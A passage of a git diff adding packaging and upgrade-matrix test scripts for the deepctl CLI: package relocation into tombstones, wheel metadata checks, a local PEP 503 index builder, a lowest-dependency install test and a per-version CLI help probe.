+                       deepctl/_telemetry/, deepctl/mcp/; `deepctl-core` stays a
+                       real dist (deepctl_core import path) and declares
+                       `deepctl==VERSION`; the other 28 packages become file-less
+                       tombstones declaring `deepctl>=1.0` (final) or
+                       `deepctl>=1.0.0rc1` (prerelease). Root lists core
+                       `==VERSION` and all 28 tombstones with the same spec.
+SRC is never modified; OUT must not exist. Prints the list of project dirs to build.
+"""
+from __future__ import annotations
+
+import json
+import re
+import shutil
+import subprocess
+import sys
+import tomllib
+from pathlib import Path
+
+SRC, OUT, MODE, VERSION = Path(sys.argv[1]), Path(sys.argv[2]), sys.argv[3], sys.argv[4]
+EXCLUDE = {"deepctl-plugin-example"}
+FIRST_PARTY_DEP = re.compile(r'"(deepctl(?:-[a-z0-9-]+)?)\s*(?:[<>=~!]=?[^";]*)?"')
+FIRST_PARTY_REQ = re.compile(r"^deepctl(?:-[a-z0-9-]+)?\s*(?:[<>=~!;\[]|$)")
+VERSION_LINE = re.compile(r'^version = "[^"]*"', re.M)
+
+
+def siblings() -> list[Path]:
+    return sorted(p for p in (OUT / "packages").iterdir()
+                  if p.is_dir() and p.name not in EXCLUDE and (p / "pyproject.toml").exists())
+
+
+def set_version(text: str) -> str:
+    return VERSION_LINE.sub(f'version = "{VERSION}"', text, count=1)
+
+
+def pin_first_party(text: str, spec_for) -> str:
+    def repl(m: re.Match[str]) -> str:
+        name = m.group(1)
+        if name in EXCLUDE:
+            return m.group(0)
+        return f'"{name}{spec_for(name)}"'
+    # only rewrite inside dependency arrays: lines that are a bare quoted requirement
+    out = []
+    for line in text.splitlines(keepends=True):
+        s = line.split("#", 1)[0].strip()
+        if s.startswith('"deepctl') and s.rstrip(",").endswith('"'):
+            line = FIRST_PARTY_DEP.sub(repl, line)
+        out.append(line)
+    return "".join(out)
+
+
+def lockstep() -> list[Path]:
+    """Set the root version, then let the lockstep check rewrite everything else."""
+    f = OUT / "pyproject.toml"
+    f.write_text(set_version(f.read_text()))
+    subprocess.run([sys.executable, "scripts/check_dependency_floors.py", "--fix"], cwd=OUT, check=True,
+                   stdout=subprocess.DEVNULL)
+    return [OUT, *siblings()]
+
+
+def new_module(dist: str) -> str:
+    """Old import package -> 1.0 import path."""
+    if dist == "deepctl-cmd-mcp":
+        return "deepctl.mcp"
+    if dist == "deepctl-shared-utils":
+        return "deepctl._shared"
+    if dist == "deepctl-telemetry":
+        return "deepctl._telemetry"
+    assert dist.startswith("deepctl-cmd-"), dist
+    return "deepctl._commands." + dist.removeprefix("deepctl-cmd-").replace("-", "_")
+
+
+def relocated() -> list[Path]:
+    is_pre = bool(re.search(r"(a|b|rc|\.dev)\d+$", VERSION))
+    tomb_spec = ">=1.0.0rc1" if is_pre else ">=1.0"
+    sibs = siblings()
+    core = OUT / "packages" / "deepctl-core"
+    movers = [p for p in sibs if p != core]
+    assert len(movers) == 28, len(movers)
+
+    # old import name -> new dotted path
+    mapping: dict[str, str] = {}
+    for p in movers:
+        old = p.name.replace("-", "_")
+        assert (p / "src" / old).is_dir(), p
+        mapping[old] = new_module(p.name)
+
+    root_pkg = OUT / "src" / "deepctl"
+    (root_pkg / "_commands").mkdir()
+    (root_pkg / "_commands" / "__init__.py").write_text('"""First-party commands."""\n')
+
+    third_party: list[str] = []
+    entry_points: dict[str, dict[str, str]] = {}
+    package_data: dict[str, list[str]] = {}
+    for p in movers:
+        meta = tomllib.loads((p / "pyproject.toml").read_text())
+        proj = meta["project"]
+        old = p.name.replace("-", "_")
+        dest = root_pkg.joinpath(*mapping[old].split(".")[1:])
+        shutil.copytree(p / "src" / old, dest, ignore=shutil.ignore_patterns("__pycache__"))
+        for d in proj.get("dependencies", []):
+            if not FIRST_PARTY_REQ.match(d):
+                third_party.append(d)
+        for grp, eps in proj.get("entry-points", {}).items():
+            for k, v in eps.items():
+                entry_points.setdefault(grp, {})[k] = v
+        pd = meta.get("tool", {}).get("setuptools", {}).get("package-data", {})
+        for k, v in pd.items():
+            package_data[mapping.get(k, k)] = v
+        assert not proj.get("scripts"), f"{p.name} has console scripts"
+
+    # rewrite imports + string module refs across the whole root package
+    pat = re.compile(r"\b(" + "|".join(sorted(mapping, key=len, reverse=True)) + r")\b")
+    rewrites = 0
+    for f in root_pkg.rglob("*.py"):
+        t = f.read_text()
+        n, c = pat.subn(lambda m: mapping[m.group(1)], t)
+        if c:
+            f.write_text(n)
+            rewrites += c
+    for grp in entry_points:
+        for k, v in entry_points[grp].items():
+            entry_points[grp][k] = pat.sub(lambda m: mapping[m.group(1)], v)
+
+    # root pyproject: keep root metadata, swap deps/entry-points/packaging
+    root_t = (OUT / "pyproject.toml").read_text()
+    root_meta = tomllib.loads(root_t)["project"]
+    root_third = [d for d in root_meta["dependencies"] if not FIRST_PARTY_REQ.match(d)]
+    deps = [f"deepctl-core=={VERSION}"] + [f"{p.name}{tomb_spec}" for p in movers]
+    seen: set[str] = set()
+    for d in root_third + third_party:
+        if d not in seen:
+            seen.add(d)
+            deps.append(d)
+    ep_toml = "".join(
+        f'\n[project.entry-points."{g}"]\n' + "".join(f'{k} = "{v}"\n' for k, v in sorted(eps.items()))
+        for g, eps in sorted(entry_points.items())
+    )
+    pd_toml = "\n[tool.setuptools.package-data]\n" + "".join(
+        f'"{k}" = {json.dumps(v)}\n' for k, v in package_data.items()) if package_data else ""
+    root_new = f'''[build-system]
+requires = ["setuptools>=61.0", "wheel"]
+build-backend = "setuptools.build_meta"
+
+[project]
+name = "deepctl"
+version = "{VERSION}"
+description = {json.dumps(root_meta["description"])}
+readme = "README.md"
+license = "MIT"
+requires-python = ">=3.10"
+dependencies = [
+{"".join(f'    "{d}",{chr(10)}' for d in deps)}]
+
+[project.scripts]
+deepctl = "deepctl.main:main"
+deepgram = "deepctl.main:main"
+dg = "deepctl.main:main"
+{ep_toml}
+[tool.setuptools]
+package-dir = {{ "" = "src" }}
+
+[tool.setuptools.packages.find]
+where = ["src"]
+include = ["deepctl", "deepctl.*"]
+{pd_toml}'''
+    (OUT / "pyproject.toml").write_text(root_new)
+
+    # deepctl-core: a real dist, same import path, back-edge deepctl==VERSION
+    cf = core / "pyproject.toml"
+    ct = pin_first_party(set_version(cf.read_text()), lambda n: f"=={VERSION}")
+    if f'"deepctl=={VERSION}"' not in ct:
+        ct = ct.replace('dependencies = [\n', f'dependencies = [\n    "deepctl=={VERSION}",\n', 1)
+    cf.write_text(ct)
+
+    # 28 tombstones: no files, Requires-Dist deepctl{tomb_spec}
+    for p in movers:
+        name = p.name
+        shutil.rmtree(p)
+        p.mkdir()
+        (p / "pyproject.toml").write_text(f'''[build-system]
+requires = ["setuptools>=61.0", "wheel"]
+build-backend = "setuptools.build_meta"
+
+[project]
+name = "{name}"
+version = "{VERSION}"
+description = "Tombstone: this command now ships inside the deepctl package."
+requires-python = ">=3.10"
+dependencies = ["deepctl{tomb_spec}"]
+
+[tool.setuptools]
+packages = []
+py-modules = []
+''')
+    print(f"# relocated: {len(mapping)} packages moved, {rewrites} identifier rewrites, "
+          f"{sum(len(v) for v in entry_points.values())} entry points, tomb spec {tomb_spec}", file=sys.stderr)
+    return [OUT, core, *movers]
+
+
+if __name__ == "__main__":
+    assert not OUT.exists(), OUT
+    shutil.copytree(SRC, OUT, ignore=shutil.ignore_patterns("__pycache__", ".git", "web", "tests", "docs"))
+    projs = lockstep() if MODE == "lockstep" else relocated()
+    for p in projs:
+        print(p)
diff --git a/tests/upgrade/layout/pypi_versions.py b/tests/upgrade/layout/pypi_versions.py
new file mode 100644
index 00000000..6a44efc2
--- /dev/null
+++ b/tests/upgrade/layout/pypi_versions.py
@@ -0,0 +1,10 @@
+"""Print release history (version, first upload time, yanked) for deepctl dists from PyPI JSON."""
+import json, sys, urllib.request
+for name in sys.argv[1:]:
+    d = json.load(urllib.request.urlopen(f"https://pypi.org/pypi/{name}/json"))
+    rows = []
+    for v, files in d["releases"].items():
+        if files:
+            rows.append((min(f["upload_time_iso_8601"] for f in files), v, any(f["yanked"] for f in files)))
+    rows.sort()
+    print(name, " ".join(f"{v}@{t[:16]}{'(Y)' if y else ''}" for t, v, y in rows[-12:]))
diff --git a/tests/upgrade/layout/static_checks.py b/tests/upgrade/layout/static_checks.py
new file mode 100644
index 00000000..5cf766ab
--- /dev/null
+++ b/tests/upgrade/layout/static_checks.py
@@ -0,0 +1,90 @@
+"""Static wheel checks (no install): pkginfo specs, two-owner paths, package-data superset.
+Usage: python -I static_checks.py WHEELHOUSE W050 W100RC1 W100"""
+import re
+import sys
+import zipfile
+from email.parser import Parser
+from pathlib import Path
+
+wh, w050, wrc, w100 = map(Path, sys.argv[1:5])
+fail = 0
+
+
+def meta(whl: Path):
+    with zipfile.ZipFile(whl) as z:
+        name = next(n for n in z.namelist() if n.endswith(".dist-info/METADATA"))
+        m = Parser().parsestr(z.read(name).decode())
+        files = [n for n in z.namelist() if ".dist-info/" not in n]
+    return m["Name"], m["Version"], m.get_all("Requires-Dist") or [], files
+
+
+def check(cond, msg):
+    global fail
+    print(("PASS " if cond else "FAIL ") + msg)
+    fail += not cond
+
+
+def norm(n):
+    return re.sub(r"[-_.]+", "-", n).lower()
+
+
+# 1. 0.5.0 lockstep pins
+dists = [meta(w) for w in sorted(w050.glob("*.whl"))]
+check(len(dists) == 30 and all(v == "0.5.0" for _, v, _, _ in dists), f"0.5.0: 30 dists all at 0.5.0 ({len(dists)})")
+fp = [(n, r) for n, _, rs, _ in dists for r in rs if r.startswith("deepctl")]
+bad = [x for x in fp if not re.fullmatch(r"deepctl[-a-z]*==0\.5\.0", x[1].replace(" ", ""))]
+check(not bad, f"0.5.0: every first-party Requires-Dist is ==0.5.0 ({len(fp)} edges, bad={bad[:3]})")
+
+# 2. relocated specs
+for wd, V, tomb in ((wrc, "1.0.0rc1", "deepctl>=1.0.0rc1"), (w100, "1.0.0", "deepctl>=1.0")):
+    ds = {norm(n): (v, rs, fs) for n, v, rs, fs in (meta(w) for w in wd.glob("*.whl"))}
+    tombs = {n: x for n, x in ds.items() if n not in ("deepctl", "deepctl-core")}
+    check(len(tombs) == 28, f"{V}: 28 tombstones ({len(tombs)})")
+    check(all(x[1] == [tomb] and x[2] == [] for x in tombs.values()),
+          f"{V}: every tombstone Requires-Dist exactly [{tomb}] and ships no files")
+    root_rs = [r.replace(" ", "") for r in ds["deepctl"][1]]
+    want_t = {f"{t}{tomb[7:]}" for t in tombs}
+    check(want_t <= set(root_rs), f"{V}: root lists all 28 tombstones with {tomb[7:]}")
+    check(f"deepctl-core=={V}" in root_rs, f"{V}: root pins deepctl-core=={V}")
+    check(ds["deepctl-core"][1][0].replace(" ", "") == f"deepctl=={V}", f"{V}: core back-edge deepctl=={V}")
+
+# 3. two-owner paths: a path a 1.0 dist ships must not be shipped by a DIFFERENT dist in any 0.x wheel
+old = {}
+for w in wh.glob("deepctl*.whl"):
+    n, v, _, fs = meta(w)
+    for f in fs:
+        old.setdefault(f, set()).add(norm(n))
+for wd, V in ((wrc, "1.0.0rc1"), (w100, "1.0.0"), (w050, "0.5.0")):
+    clashes = []
+    for w in wd.glob("*.whl"):
+        n, _, _, fs = meta(w)
+        for f in fs:
+            others = old.get(f, set()) - {norm(n)}
+            if others:
+                clashes.append((norm(n), f, sorted(others)))
+    check(not clashes, f"{V}: no path owned by a different dist in 0.3.3/0.4.0 (clashes={clashes[:3]})")
+
+# 4. Union of 0.x non-.py package data is present (relocated) in the 1.0 root wheel
+def reloc(path: str) -> str:
+    top, _, rest = path.partition("/")
+    if top == "deepctl_cmd_mcp":
+        return "deepctl/mcp/" + rest
+    if top == "deepctl_shared_utils":
+        return "deepctl/_shared/" + rest
+    if top == "deepctl_telemetry":
+        return "deepctl/_telemetry/" + rest
+    if top.startswith("deepctl_cmd_"):
+        return "deepctl/_commands/" + top.removeprefix("deepctl_cmd_") + "/" + rest
+    return path
+for wd, V in ((wrc, "1.0.0rc1"), (w100, "1.0.0")):
+    new = set()
+    for w in wd.glob("*.whl"):
+        new |= set(meta(w)[3])
+    need = {reloc(f) for f in old if not f.endswith(".py")}
+    missing = sorted(need - new)
+    check(not missing, f"{V}: 0.x package data superset ({len(need)} non-.py files; missing={missing[:5]})")
+    needpy = {reloc(f) for f in old if f.endswith(".py")}
+    gone = sorted(needpy - new)
+    print(f"INFO {V}: {len(gone)} 0.x .py modules with no 1.0 counterpart (expected: removed-in-1.0 modules only): {gone[:8]}")
+print(f"static checks: {fail} failures")
+sys.exit(1 if fail else 0)
diff --git a/tests/upgrade/lib.sh b/tests/upgrade/lib.sh
new file mode 100644
index 00000000..5e99f33c
--- /dev/null
+++ b/tests/upgrade/lib.sh
@@ -0,0 +1,37 @@
+# Sourced inside the upgrade-matrix image. Every cell runs with --network none.
+# Mounts: /w (ro) work dir, /s (ro) these scripts, /o (rw) this group's output.
+#
+# /w layout (run.sh builds it):
+#   wheelhouse/          third-party wheels plus published first-party wheels
+#   pins/env-<V>.txt     the full closure a user resolved for a published V
+#   field/<V>/           first-party wheels for a field version not on PyPI
+#                        (optional; e.g. a release candidate built locally)
+#   lockstep/cur/        this tree's 30 wheels at version $CUR
+#   lockstep/next/       the same tree at $NEXT (the following release)
+set -u
+export DEEPCTL_TELEMETRY_DISABLED=1 DEEPCTL_TELEMETRY_DSN=http://k@127.0.0.1:9/1 CI=1
+export PIP_DISABLE_PIP_VERSION_CHECK=1 PIP_NO_INPUT=1
+mkdir -p /idx/pool
+W=/w; WH=$W/wheelhouse
+CUR=$(cat $W/lockstep/cur/VERSION); NEXT=$(cat $W/lockstep/next/VERSION)
+FIELD=$(cat $W/FIELD_VERSIONS)                # e.g. "0.3.3 0.4.0 0.4.1 0.4.2"
+LCUR="$W/lockstep/cur"; LNEXT="$W/lockstep/next"
+field_dirs(){ for d in $W/field/*/; do [ -d "$d" ] && printf '%s ' "${d%/}"; done; }
+mk(){ python -I /s/mkidx.py /idx/$1 /idx/pool "${@:2}" 2>>/o/idx.log; }
+serve(){ python -I /s/serve.py /idx >/dev/null 2>&1 & sleep 1; }
+setidx(){ ln -sfn /idx/$1 /idx/cur; echo "  [index -> $1]"; }
+export PIP_INDEX_URL=http://127.0.0.1:8000/cur/simple/ UV_INDEX_URL=http://127.0.0.1:8000/cur/simple/
+export UV_DEFAULT_INDEX=http://127.0.0.1:8000/cur/simple/ UV_PYTHON_DOWNLOADS=never UV_NO_PROGRESS=1
+pipvenv(){ rm -rf $1; python -m venv $1 && $1/bin/pip -q install pip==25.3; }
+# Install a published version's real closure (pins/env-V.txt) into a pip venv.
+old_pip(){ pipvenv $2; $2/bin/pip -q install -r /w/pins/env-$1.txt; }
+probe(){ python -I /s/probe.py "$@"; }
+# x CMD...: run an install step, keep the last lines of its output in the log
+x(){ echo "  + $*"; "$@" > /tmp/x.out 2>&1; local rc=$?; grep -v "^\s*$" /tmp/x.out | grep -iv "notice\]" | tail -4 | sed 's/^/    | /'; echo "    rc=$rc"; return $rc; }
+pp(){ probe "$1" "$2/bin/python" "$2/bin/dg" "$2/bin/pip check" "${@:3}"; }                     # pip venv
+up(){ probe "$1" "$3/bin/python" "$3/bin/dg" "$2 pip check --python $3/bin/python" "${@:4}"; }  # uv venv: up ID UV DIR
+# Dist names (normalized) of the lockstep set.
+lockstep_dists(){ ls $LCUR/*.whl | xargs -n1 basename | sed -E 's/-[0-9].*//; s/_/-/g' | grep -v '^deepctl-plugin-example$' | sort; }
+# A cell that is not a probe: verdict line in the same PASS/FAIL format.
+verdict(){ local ok=$1 cell=$2; shift 2; if [ "$ok" = 1 ]; then echo "PASS $cell: $*"; else echo "FAIL $cell: $*"; fi
+  printf '{"cell": "%s", "ok": %s, "note": "%s"}\n' "$cell" "$([ "$ok" = 1 ] && echo true || echo false)" "$*" >> /o/results.jsonl; }
diff --git a/tests/upgrade/lowest_direct.sh b/tests/upgrade/lowest_direct.sh
new file mode 100755
index 00000000..3b4ddd9f
--- /dev/null
+++ b/tests/upgrade/lowest_direct.sh
@@ -0,0 +1,104 @@
+#!/bin/bash
+# One environment with every third-party dependency at the lowest version the
+# lockstep set allows, then the CLI and the unit tests in it.
+#
+#   tests/upgrade/lowest_direct.sh DIST_DIR [PYTHON] [install|test|all]   (repo root)
+#
+# DIST_DIR holds `uv build --all-packages --wheel` output. Every package
+# declares `deepctl==V`, so any install pulls the whole closure: what a user
+# can actually get at the floors is one environment, not 30. Its direct
+# requirements are `deepctl==V` plus every third-party requirement of the 30
+# pyprojects, resolved with `--resolution lowest-direct` (transitive
+# dependencies stay at their highest), wheels only (`--no-build`).
+# Then: `pip check`, `dg --help` and every command's and subcommand's --help
+# (tests/upgrade/probe.py), and the unit tests, one suite per process. A declared floor below the
+# version the closure actually resolves is listed: it is never tested and can
+# be raised to match. The `install` and `test` phases can run separately (the
+# test phase needs no network).
+set -uo pipefail
+DIST=$(cd "$1" && pwd); PY=${2:-python3}; PHASE=${3:-all}
+HERE=$(cd "$(dirname "$0")" && pwd)
+ENV=${LOWEST_ENV:-${TMPDIR:-/tmp}/lowest-direct}
+export DEEPCTL_TELEMETRY_DISABLED=1 DEEPCTL_TELEMETRY_DSN=http://k@127.0.0.1:9/1
+TEST_TOOLS="pytest pytest-asyncio pytest-mock pytest-timeout responses"
+
+if [ "$PHASE" != test ]; then
+  rm -rf "$ENV"; mkdir -p "$ENV"
+  uv run -q --no-project --python "$PY" --with "tomli>=2.0; python_version < '3.11'" \
+    python - "$ENV/requirements.txt" "$ENV/floors.tsv" <<'PYEOF'
+import re, sys
+from pathlib import Path
+try:
+    import tomllib
+except ModuleNotFoundError:
+    import tomli as tomllib
+reqs, floors = [], []
+version = tomllib.loads(Path("pyproject.toml").read_text())["project"]["version"]
+for p in [Path("pyproject.toml"), *sorted(Path("packages").glob("*/pyproject.toml"))]:
+    proj = tomllib.loads(p.read_text())["project"]
+    if proj["name"] == "deepctl-plugin-example":
+        continue
+    for d in proj.get("dependencies", []):
+        name = re.split(r"[<>=!~;\[ ]", d, maxsplit=1)[0]
+        if name.startswith("deepctl"):
+            continue
+        reqs.append(d)
+        m = re.search(r">=\s*([^,;\s]+)", d)
+        floors.append(f"{proj['name']}\t{name.lower()}\t{m.group(1) if m else ''}")
+Path(sys.argv[1]).write_text(f"deepctl=={version}\n" + "\n".join(sorted(set(reqs))) + "\n")
+Path(sys.argv[2]).write_text("\n".join(floors) + "\n")
+PYEOF
+  uv venv -q -p "$PY" "$ENV/venv" || exit 1
+  if ! uv pip install -q --python "$ENV/venv/bin/python" --resolution lowest-direct --no-build \
+      --find-links "$DIST" -r "$ENV/requirements.txt"; then
+    echo "FAIL lowest-direct: the lockstep closure does not resolve at its floors"; exit 1
+  fi
+  uv pip freeze --python "$ENV/venv/bin/python" > "$ENV/freeze.txt"
+  # Test tools, constrained so they can't move anything already resolved.
+  grep -v "^deepctl" "$ENV/freeze.txt" > "$ENV/constraints.txt"
+  if ! uv pip install -q --python "$ENV/venv/bin/python" -c "$ENV/constraints.txt" $TEST_TOOLS; then
+    echo "FAIL lowest-direct: the test tools can't install next to the floors"; exit 1
+  fi
+  echo "== resolved at the floors"; grep -v "^deepctl" "$ENV/freeze.txt" | tr '\n' ' '; echo
+  echo "== declared floors below what the closure resolves (never tested; can be raised)"
+  "$ENV/venv/bin/python" - "$ENV/floors.tsv" "$ENV/freeze.txt" <<'PYEOF'
+import re, sys
+from packaging.version import Version
+got = {}
+for line in open(sys.argv[2]):
+    if "==" in line:
+        n, v = line.strip().split("==", 1)
+        got[re.sub(r"[-_.]+", "-", n).lower()] = v
+low = {}
+for line in open(sys.argv[1]):
+    pkg, name, floor = line.rstrip("\n").split("\t")
+    n = re.sub(r"[-_.]+", "-", name)
+    if floor and n in got and Version(floor) < Version(got[n]):
+        low.setdefault(f"{name}>={floor} (resolves {got[n]})", []).append(pkg)
+for k, pkgs in sorted(low.items()):
+    print(f"  {k}: {len(pkgs)} package(s)")
+print(f"  {len(low)} distinct floor(s)")
+PYEOF
+fi
+
+if [ "$PHASE" != install ]; then
+  fail=0
+  PROBE_OUT="$ENV/probe.jsonl" "$ENV/venv/bin/python" -I "$HERE/probe.py" lowest-direct \
+    "$ENV/venv/bin/python" "$ENV/venv/bin/dg" "uv pip check --python $ENV/venv/bin/python" \
+    --min-commands 23 || true
+  grep -q '"ok": true' "$ENV/probe.jsonl" || fail=1
+  rm -f "$ENV/probe.jsonl"
+  # The unit tests import the installed packages, not the source tree. Each
+  # test file and package suite runs in its own process: some suites register
+  # commands on the shared CLI object, which an editable install hides but an
+  # installed one doesn't.
+  for t in tests/unit/test_*.py $(ls -d packages/*/tests | grep -v deepctl-plugin-example); do
+    out=$(cd "$ENV" && "$ENV/venv/bin/python" -m pytest -q -p no:cacheprovider --rootdir "$OLDPWD" \
+        -c "$OLDPWD/pyproject.toml" "$OLDPWD/$t" 2>&1)
+    rc=$?; [ $rc = 5 ] && rc=0   # pytest 5: the suite has no tests
+    echo "$([ $rc = 0 ] && echo PASS || echo FAIL) $t: $(echo "$out" | grep -E '[0-9]+ (passed|failed|error)' | tail -1)"
+    if [ $rc != 0 ]; then fail=1; echo "$out" | grep -E '^(FAILED|ERROR)' | head -20; fi
+  done
+  echo "lowest-direct: $([ $fail = 0 ] && echo passed || echo FAILED)"
+  exit $fail
+fi
diff --git a/tests/upgrade/mkidx.py b/tests/upgrade/mkidx.py
new file mode 100644
index 00000000..0159e650
--- /dev/null
+++ b/tests/upgrade/mkidx.py
@@ -0,0 +1,54 @@
+"""Build one PEP 503 index state (simulates what PyPI shows at a moment in the release).
+Usage: python -I mkidx.py OUTDIR POOL [--yank PREFIX ...] SRC_GLOB [SRC_GLOB ...]
+Each SRC_GLOB is a directory, optionally with ':' filter, e.g. /w/wheels-1.0.0:-deepctl-1.0.0
+  ':-prefix' drops files whose normalized name starts with prefix (e.g. root not yet uploaded)
+  ':+prefix' keeps only those files.
+Files are linked as /pool/<file>; POOL must contain them (they are symlinked there).
+--yank 'deepctl-1.0.0' marks matching files data-yanked (PEP 592)."""
+import os
+import re
+import sys
+from collections import defaultdict
+from pathlib import Path
+
+args = sys.argv[1:]
+out, pool = Path(args.pop(0)), Path(args.pop(0))
+yanks = []
+while args and args[0] == "--yank":
+    args.pop(0)
+    yanks.append(args.pop(0))
+
+
+def key(fname: str) -> str:
+    # normalized "<project>-<version>" for filter matching
+    stem = fname[:-4] if fname.endswith(".whl") else fname
+    name, ver = stem.split("-")[:2]
+    return re.sub(r"[-_.]+", "-", name).lower() + "-" + ver
+
+
+projects = defaultdict(set)
+for spec in args:
+    d, _, filt = spec.partition(":")
+    for f in os.listdir(d):
+        if not f.endswith((".whl", ".tar.gz")):
+            continue
+        k = key(f)
+        if filt.startswith("-") and any(k.startswith(p) for p in filt[1:].split(",")):
+            continue
+        if filt.startswith("+") and not any(k.startswith(p) for p in filt[1:].split(",")):
+            continue
+        tgt = pool / f
+        if not tgt.exists():
+            tgt.symlink_to(Path(d) / f)
+        proj = k.rsplit("-", 1)[0]
+        projects[proj].add(f)
+(out / "simple").mkdir(parents=True, exist_ok=True)
+for proj, files in projects.items():
+    (out / "simple" / proj).mkdir(exist_ok=True)
+    links = []
+    for f in sorted(files):
+        y = ' data-yanked="upgrade matrix: yanked"' if any(key(f) == p or key(f).startswith(p + "-") or key(f) == p for p in yanks) else ""
+        links.append(f'<a href="/pool/{f}"{y}>{f}</a><br/>')
+    (out / "simple" / proj / "index.html").write_text("<!DOCTYPE html><html><body>\n" + "\n".join(links) + "\n</body></html>\n")
+(out / "simple" / "index.html").write_text("<html><body>" + "".join(f'<a href="{p}/">{p}</a>' for p in sorted(projects)) + "</body></html>")
+print(f"{out}: {len(projects)} projects, yanked={yanks}", file=sys.stderr)
diff --git a/tests/upgrade/probe.py b/tests/upgrade/probe.py
new file mode 100644
index 00000000..65aa655d
--- /dev/null
+++ b/tests/upgrade/probe.py
@@ -0,0 +1,114 @@
+"""Per-cell probe.
+
+Usage: probe.py CELL_ID PY DG CHECK_CMD [--expect-version V] [--expect-dists N]
+                [--expect-all] [--min-commands N] [--need CMD] [--note TEXT]
+
+Records the installed first-party dists, `dg --version`, `pip check` (or the
+uv/pipx equivalent), and whether `dg --help` and every command's and
+subcommand's `--help` (two levels) load cleanly. Appends a JSON line to
+/o/results.jsonl and prints a one-line PASS/FAIL summary.
+
+--expect-version V  the root dist is V and `dg --version` prints V
+--expect-dists N    exactly N first-party dists are installed
+--expect-all        every first-party dist is at --expect-version (no split install)
+--min-commands N    `dg --help` lists at least N top-level commands
+"""
+import json
+import shlex
+import re
+import subprocess
+import sys
+from concurrent.futures import ThreadPoolExecutor
+
+cell, py, dg, check_cmd = sys.argv[1:5]
+py, dg = shlex.split(py), shlex.split(dg)
+rest = sys.argv[5:]
+expect = rest[rest.index("--expect-version") + 1] if "--expect-version" in rest else ""
+note = rest[rest.index("--note") + 1] if "--note" in rest else ""
+need = rest[rest.index("--need") + 1] if "--need" in rest else ""
+expect_dists = int(rest[rest.index("--expect-dists") + 1]) if "--expect-dists" in rest else None
+expect_all = "--expect-all" in rest
+min_commands = int(rest[rest.index("--min-commands") + 1]) if "--min-commands" in rest else 1
+BAD = re.compile(r"Error loading|Failed to load|Traceback|ModuleNotFoundError|ImportError|No module named|Warning: .*load", re.I)
+
+
+def run(cmd, timeout=int(__import__("os").environ.get("PROBE_TIMEOUT", "60"))):
+    try:
+        p = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout,
+                           shell=isinstance(cmd, str))
+        return p.returncode, p.stdout, p.stderr
+    except subprocess.TimeoutExpired:
+        return 124, "", "TIMEOUT"
+    except FileNotFoundError as e:
+        return 127, "", str(e)
+
+
+def commands(help_text: str) -> list[str]:
+    out, on = [], False
+    for line in help_text.splitlines():
+        s = line.strip("│ ").rstrip()
+        if re.match(r"^[╭─ ]*Commands", s) or s.startswith("Commands:"):
+            on = True
+            continue
+        if on:
+            if not s or s.startswith("╰") or (line and not line.startswith((" ", "│"))):
+                if out and (not s or s.startswith("╰")):
+                    break
+                continue
+            m = re.match(r"^([a-z][a-z0-9_-]*)\b", s)
+            if m:
+                out.append(m.group(1))
+    return out
+
+
+rc, dists, _ = run([*py, "-I", "-c", "import importlib.metadata as m; print('\\n'.join(sorted(f\"{d.metadata['Name']}=={d.version}\" for d in m.distributions() if d.metadata['Name'].lower().replace('_','-').startswith('deepctl'))))"])
+dists = dists.split()
+root = next((d.split("==")[1] for d in dists if d.lower().startswith("deepctl==")), "absent")
+core = next((d.split("==")[1] for d in dists if d.lower().replace("_", "-").startswith("deepctl-core==")), "absent")
+sib_versions = sorted({d.split("==")[1] for d in dists if not d.lower().startswith(("deepctl==", "deepctl-core==", "deepctl_core=="))})
+crc, cout, cerr = run(check_cmd)
+check_ok = crc == 0
+check_msg = (cout + cerr).strip().splitlines()
+vrc, vout, verr = run([*dg, "--version"])
+hrc, hout, herr = run([*dg, "--help"])
+top = commands(hout)
+failures = []
+if hrc != 0 or BAD.search(herr + hout):
+    failures.append(("--help", hrc, (herr or hout)[-300:]))
+paths = [[c] for c in top]
+
+
+def help_of(path):
+    r, o, e = run([*dg, *path, "--help"])
+    return path, r, o, e
+
+
+with ThreadPoolExecutor(int(__import__("os").environ.get("PROBE_WORKERS", "8"))) as ex:
+    level1 = list(ex.map(help_of, paths))
+sub_paths = []
+for path, r, o, e in level1:
+    if r != 0 or BAD.search(e):
+        failures.append((" ".join(path), r, (e or o)[-300:]))
+    for s in commands(o):
+        sub_paths.append(path + [s])
+with ThreadPoolExecutor(int(__import__("os").environ.get("PROBE_WORKERS", "8"))) as ex:
+    level2 = list(ex.map(help_of, sub_paths))
+for path, r, o, e in level2:
+    if r != 0 or BAD.search(e):
+        failures.append((" ".join(path), r, (e or o)[-300:]))
+version_line = (vout or verr).strip().splitlines()[-1] if (vout or verr).strip() else f"rc={vrc}"
+all_versions = sorted({d.split("==")[1] for d in dists})
+ok = (check_ok and not failures and len(top) >= min_commands and (not need or need in top)
+      and (not expect or (root == expect and expect in version_line))
+      and (expect_dists is None or len(dists) == expect_dists)
+      and (not expect_all or all_versions == [expect]))
+rec = {"cell": cell, "ok": ok, "root": root, "core": core, "sibling_versions": sib_versions,
+       "n_firstparty_dists": len(dists), "firstparty_versions": all_versions, "dg_version": version_line, "pip_check_ok": check_ok,
+       "pip_check": check_msg[:4], "n_top_commands": len(top), "n_sub_commands": len(sub_paths),
+       "help_failures": failures[:6], "n_help_failures": len(failures), "expect": expect, "need": need, "note": note,
+       "top_commands": top}
+with open(__import__("os").environ.get("PROBE_OUT", "/o/results.jsonl"), "a") as f:
+    f.write(json.dumps(rec) + "\n")
+print(f"{'PASS' if ok else 'FAIL'} {cell}: root={root} core={core} sibs={','.join(sib_versions)} dists={len(dists)} "
+      f"version='{version_line}' check={'clean' if check_ok else check_msg[:2]} "
+      f"cmds={len(top)}+{len(sub_paths)} help_fail={len(failures)} {failures[:2] if failures else ''}")
diff --git a/tests/upgrade/release-please/assert_bump.py b/tests/upgrade/release-please/assert_bump.py
new file mode 100644
index 00000000..2015e160
--- /dev/null
+++ b/tests/upgrade/release-please/assert_bump.py
@@ -0,0 +1,94 @@
+"""Assert what a release-please run changed in a lockstep tree.
+
+Usage: python3 assert_bump.py REPO OLD NEW
+
+REPO is a git repository whose HEAD is the tree before the release PR and
+whose working tree holds the release PR's changes. Every lockstep version and
+`==` pin must move from OLD to NEW, the plugin example must be untouched, and
+nothing else may change (the root CHANGELOG.md excepted).
+"""
+
+from __future__ import annotations
+
+import json
+import re
+import subprocess
+import sys
+import tomllib
+from pathlib import Path
+
+repo, old, new = Path(sys.argv[1]), sys.argv[2], sys.argv[3]
+EXAMPLE = "packages/deepctl-plugin-example"
+fails = 0
+
+
+def check(ok: bool, msg: str) -> None:
+    global fails
